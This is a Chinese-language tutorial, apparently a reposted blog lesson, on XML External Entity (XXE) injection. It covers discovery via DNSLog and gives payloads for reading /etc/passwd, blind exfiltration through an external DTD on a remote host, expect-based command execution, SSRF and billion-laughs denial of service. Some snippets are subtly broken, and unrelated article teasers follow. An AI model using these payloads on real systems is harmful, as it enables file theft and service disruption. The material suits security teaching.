网络安全进阶学习第二十一课——XXE

news2024/11/24 20:12:10

文章目录

  • 一、XXE简介
  • 二、XXE原理
  • 三、XXE危害
  • 四、XXE如何寻找
  • 五、XXE限制条件
  • 六、XXE分类
  • 七、XXE利用
    • 1、读取任意文件
      • 1.1、有回显
      • 1.2、没有回显
    • 2、命令执行`(情况相对较少见)`
    • 3、内网探测/SSRF
    • 4、拒绝服务攻击(DDoS)
      • 4.1、内部实体
      • 4.2、参数实体
  • 八、绕过基本XXE攻击的限制
  • 九、关联链接
    • 1、XML介绍
    • 2、靶场演示


一、XXE简介

XXE(XML External Entity,XML)外部实体注入攻击。


二、XXE原理

— — 攻击者通过构造恶意的外部实体,当解析器解析了包含“恶意”外部实体的XML类型文件时,便会导致被XXE攻击。XXE漏洞主要由于危险的外部实体引用并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等。
在这里插入图片描述
这里是不是很像XSS注入

— — 在解析XML文档的过程中,关键字’SYSTEM’会告诉XML解析器,entityex 实体的值将从其后的URI中读取。实体entityex的值会被替换为URI(file://etc/passwd)内容值。(如下图)
在这里插入图片描述

— — 因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。
— — 简单来说,攻击者强制XML解析器去访问攻击者指定的本地系统上或是远程系统上的资源内容。


三、XXE危害

  1. 导致可加载恶意外部文件、读取任意未授权文件;
  2. 恶意消耗内存进行dos攻击,
  3. 探测内网信息(如检测服务、内网端口扫描、攻击内网网站等)
  4. 命令执行,目录遍历等
  5. 有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

四、XXE如何寻找

1、POST请求
2、MIME 文件传输格式为 XML
3、请求头中 Content-type: application/xml text/xml application/json
在这里插入图片描述
4、带有非常明显的xml标签的,即自定义的标签
5、利用DNSLog来验证是否存在XXE
在这里插入图片描述
将数据包改一下:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE value [
<!ENTITY xxe SYSTEM "http://yu7bis.dnslog.cn" >
]>
<value>&xxe;</value>

ps:可以修改其Content-Type为application/xml,并尝试进行XXE注入

五、XXE限制条件

网站是否开启了外部实体解析

  • 因素一:
    libxml<2.9.0 版本 默认开启了外部实体解析

  • 因素二:
    网站管理员开启了外部实体解析

  • 低版本php
    libxml<2.9.1
    设置了libxml_disable_entity_loader(禁用加载外部实体的能力)为FALSE


六、XXE分类

XXE的攻击方式分为显式攻击盲攻击两种:

  • 显式攻击是攻击者能通过正常的回显将外部实体里的内容读取出来。
  • 盲攻击即不可见的回显,可利用参数实体将本地文件内容读出来后,作为URL中的参数向其指定服务器发起请求,然后在其指定服务器的日志中读出文件的内容。

现实中存在的大多数XXE漏洞都是blind,必须采用带外通道OOB(Out-of-band)进行返回信息的记录,这里简单来说就是攻击者必须有一台具有公网ip的主机。


七、XXE利用

1、读取任意文件

1.1、有回显

下面是XML.php内容:

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY[
	<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

访问XML.php可以读取etc/passwd文件内容

1.2、没有回显

当页面没有回显的话,可以将文件内容发送到远程服务器,然后读取。

下面是XML.php内容:

<?php
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
	<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
	%f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);
?>

下面是evil.dtd内容:

<!ENTITY b SYSTEM "file:///etc/passwd">

2、命令执行(情况相对较少见)

php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装(正常人谁会去安装这东西啊,所以命令执行的情况相对较少见)
下面是XML.php内容:

<?php
$xml = <<<EOF
<? xml version = "1.0" ?>
<!DOCTYPE ANY[
	<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

3、内网探测/SSRF

由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

4、拒绝服务攻击(DDoS)

通过创建一项递归的XML定义,在内存中生成十亿个“Ha! ”字符串,从而导致 DDos 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。

4.1、内部实体

攻击代码如下:

<!DOCTYPE data [
<!ENTITY a0 "dos">
	<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;" >
	<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
	<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;" >
	<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;" >
]>
<data>&a4;</data>

上面代码相当于有1+10+10*10+10*10*10+10*10*10*10=11111个实体引用,这里文件大小只有30kb,却超出了合法的实体引用数量上限。

4.2、参数实体

攻击代码如下:

<!DOCTYPE data SYSTEM "http://127.0.0.1/dos.dtd" [
	<!ELEMENT data (#PCDATA)>
]>
<data>&g;</data>

http://127.0.0.1/dos.dtd文件的内容:

<!ENTITY a0 "dos">
	<!ENTITY % a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;" >
	<!ENTITY % a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
	<!ENTITY % a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;" >
	<!ENTITY % a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;" >
<!ENTITY g "%a4;">

八、绕过基本XXE攻击的限制

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
	<!ELEMENT data (#ANY)>
	<!ENTITY % start "<![CDATA[">
	<!ENTITY % goodies SYSTEM "file:///sys/power/image_size">
	<!ENTITY % end "]]>">
	<!ENTITY % dtd SYSTEM "http://publicServer.com/parameterEntity_core.dtd">
	%dtd;
]>
<data>&all;</data>

文件http://publicServer.com/parameterEntity_core.dtd的内容:

<!ENTITY all '%start;%goodies;%end;'>

这里是把XML语句拆成3个参数来绕过


九、关联链接

1、XML介绍

XML介绍

2、靶场演示

靶场演示


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1164549.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

制造企业如何三步实现进销存管理?

制造企业如何三步实现进销存管理&#xff1f; 一、什么是进销存软件&#xff1f; 进销存软件是一种针对制造业企业设计的管理软件系统&#xff0c;旨在协调和优化企业的生产、采购、销售以及库存管理等方面的活动。该系统的主要目标是提高企业的生产效率、降低库存成本、优化…

C++二分查找算法的应用:俄罗斯套娃信封问题

本文涉及的基础知识点 二分查找 题目 给你一个二维整数数组 envelopes &#xff0c;其中 envelopes[i] [wi, hi] &#xff0c;表示第 i 个信封的宽度和高度。 当另一个信封的宽度和高度都比这个信封大的时候&#xff0c;这个信封就可以放进另一个信封里&#xff0c;如同俄罗…

npm ERR! code ELIFECYCLE

问题&#xff1a; 一个老项目&#xff0c;现在想运行下&#xff0c;打不开了 npm install 也出错 尝试1 、使用cnpm npm install -g cnpm --registryhttps://registry.npm.taobao.org cnpm install 还是不行 尝试2、 package.json 文件&#xff0c;去掉 那个插件 chorm…

VS Code 开发 Spring Boot 类型的项目

在VS Code中开发Spring Boot的项目&#xff0c; 可以导入如下的扩展&#xff1a; Spring Boot ToolsSpring InitializrSpring Boot Dashboard 比较建议的方式是安装Spring Boot Extension Pack&#xff0c; 这里面就包含了上面的扩展。 安装方式就是在扩展查找 “Spring Boot…

​​​​​​​2022年上半年 软件设计师 上午试卷(33-68)

35 C 36 D 该题在2013年下半年考过类似的题目&#xff0c;从图中可见&#xff0c;页内地址的长度为12位&#xff0c;2124096&#xff0c;即4K&#xff0c;页号长度为21-12110&#xff0c;2101024&#xff0c;段号长度为31-22110&#xff0c;2101024。故正确答案为D。 37&#x…

传感器类总结(一)MPU9250 1原理介绍

1简介 MPU9250是一款9轴运动跟踪装置&#xff0c;在它3x3x1mm的封装中集成了3轴陀螺仪&#xff0c;3轴加速度计&#xff0c;3轴磁力计以及运动处理器&#xff08;DMP&#xff09;并且兼容 MPU6515。通过IIC&#xff0c;可以直接输出9轴的全部数据。因此它也是四轴姿态结算的基…

【LeetCode刷题-链表】--203.移除链表元素

203.移除链表元素 方法&#xff1a;定义一个节点指向头节点head&#xff0c;避免头结点单独操作 /*** Definition for singly-linked list.* public class ListNode {* int val;* ListNode next;* ListNode() {}* ListNode(int val) { this.val val; }* …

哪个牌子的骨传导蓝牙耳机好?盘点市面上口碑最好的五款骨传导耳机

随着技术的发展&#xff0c;运动蓝牙耳机这个类别已经进化到了骨传导的形式&#xff0c;也受到了广大运动爱好者的一致好评&#xff0c;在日常运动中&#xff0c;也经常会看到佩戴骨传导耳机的消费者&#xff0c;但普通的骨传导耳机却表现并不是很好&#xff0c;所以在选购骨传…

修改Typora默认微软雅黑字体

修改Typora字体 写在前面 我最近在折腾windows电脑&#xff0c;从macos转像windows不容易啊&#xff0c;因为键盘快捷键经常弄错&#xff0c;这篇文章就是修改Typora中字体显示的问题。 正文内容 我发现在windows中&#xff0c;字体非常的难看&#xff0c;微软雅黑也太丑了…

Zeebe 微服务编排引擎 入门

相关阅读: linux 安装 zeebe: Zeebe学习(一)——Linux下安装zeebe以及快速入门_互联网集市 Zeebe是一个用于微服务编排的工作流引擎。 这篇文章将帮助你确切地了解什么是Zeebe以及它如何可能与你相关。我们将简要介绍Zeebe以及它所解决的问题,然后再进行更详细的介绍。…

求解一个整数中含多少个1

1.问题描述&#xff1a;给定一个整数&#xff0c;统计其对应的二进制中含有1的个数。比如8(0000 1000),对应的二进制数中&#xff0c;只含有一个1. 2.设计思路&#xff1a;对x取余&#xff1a;zx%2。如果z&#xff01;0&#xff0c;说明x的末尾不是为1.对于一个二进制x4x3x2x1…

JAVA虚拟机-第2章 Java自动内存管理-内存区域与内存溢出异常以及对象在Java堆中如何被new、管理和访问(1)

在java中&#xff0c;在虚拟机自动内存管理机制的帮助下&#xff0c;不再需要为每一个new操作去写配对的delete/free代码&#xff0c;不容易出现内存泄漏和内存溢出问题。但正是因为Java程序员把控制内存的权力交给了Java虚拟机&#xff0c;一旦出现内存泄漏和溢出方面的问题&a…

pikache靶场通关——XXE

文章目录 前言一、有返回显示XXE1、在输入框输入随机数据&#xff0c;抓包2、在BP数据包和靶场中各尝试使用正确的XML格式重新输入3、使用BP进行URL编码&#xff0c;利用XXE来读取系统文件 二、无回显XXE1、模拟使用的机器2、修改代码实现靶场无回显2.1、修改靶场代码&#xff…

运维常识——网络

内网&#xff0c;公网IP 内网IP为专网IP 因为网络资源&#xff08;IP地址不够&#xff0c;所以引出来了内网IP和IPv6&#xff09; 内网IP和公网IP之分是为了减缓IP地址不够使用的情况 一般设置代理服务器 设置两张网卡 一张对外一张对内 内部主机将数据转发到内网卡&#…

TSINGSEE智慧安防:AI人员入侵检测算法的工作原理及应用场景概述

人员入侵检测算法基于视频分析技术&#xff0c;自动对视频画面进行分析识别&#xff0c;可以对危险区的人员闯入、靠近等行为进行实时进行检测并预警&#xff0c;无需人工干预&#xff0c;协助管理者对场所的安全问题进行监管&#xff0c;可以广泛运用在学校、园区、工地、车站…

SDK是什么

SDK 是“Software Development Kit”&#xff08;软件开发工具包&#xff09;的缩写&#xff0c;它是一组用于开发特定软件应用、硬件平台、计算机系统或操作系统的开发工具的集合。SDK 通常包括一组开发工具、库、文档和示例代码&#xff0c;以帮助开发者更快地开发和部署应用…

桶装水订购小程序开发怎么做?一步步教你制作

随着互联网的快速发展&#xff0c;越来越多的消费者通过线上订购桶装水&#xff0c;以方便快捷地满足日常用水需求。为了满足这一需求&#xff0c;开发一款桶装水订购小程序成为必要。下面将一步步指导你如何制作这款小程序。 1. 登录乔拓云平台后台&#xff0c;进入商城管理页…

就业形势严峻 求职者如何提高竞争力

就业形势严峻&#xff0c;尤其是对于即将毕业的学生来说&#xff0c;找工作的秋招已经过去大半了&#xff0c;春招机会也不那么多了&#xff0c;如何提高自己的竞争力&#xff1f; 其实不论形势怎么严峻&#xff0c;其实归根结底无非是个竞争关系&#xff0c;如何提高竞争力才…

计算机基础知识43

属性选择器 # 通过标签的属性来查找标签&#xff0c;标签都有属性&#xff0c; id值和class值是每个标签都自带的属性&#xff0c;还 有另外一种&#xff1a;自定义属性 <div class"c1" id"d1" usernamekevin password123></div> # 针对于…

中国移动发布《新型智慧城市白皮书》(2023版)

加gzh“大数据食铁兽”&#xff0c;回“20231101”&#xff0c;获取材料完整版 导读 通过本系列白皮书&#xff0c;我们系统的阐述了中国移动对中国智慧城市发展趋势&#xff0c;并对中国移动服务智慧城市建设六大核心能力进行了介绍&#xff0c;详细说明了中国移动智慧城市…